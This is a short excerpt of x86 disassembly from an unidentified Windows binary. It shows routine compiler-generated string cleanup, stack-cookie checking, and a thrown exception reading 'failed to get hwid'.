add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43e52f
push ecx
push edx
call fcn.00478fcd
add esp, 8
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x198], 0
mov dword [ebp - 0x194], 0xf
mov byte [ebp - 0x1a8], 0
cmp ecx, 0xf
jbe 0x43e4e8
mov edx, dword [ebp - 0x178]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e4de
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43e52f
push ecx
push edx
call fcn.00478fcd
add esp, 8
mov ecx, dword [ebp - 0x17c]
mov dword [ebp - 0x168], 0
mov dword [ebp - 0x164], 0xf
mov byte [ebp - 0x178], 0
cmp ecx, 0xf
jbe 0x43e53f
mov edx, dword [ebp - 0x190]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e535
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x43e535
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00478fcd
add esp, 8
or eax, 0xffffffff
jmp 0x43e5c6
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x24]
xor ecx, ebp
call fcn.00478b79
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push str.failed_to_get_hwid
lea ecx, [ebp - 0x468]
call fcn.0042e6c0
push 0x496810
lea eax, [ebp - 0x468]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3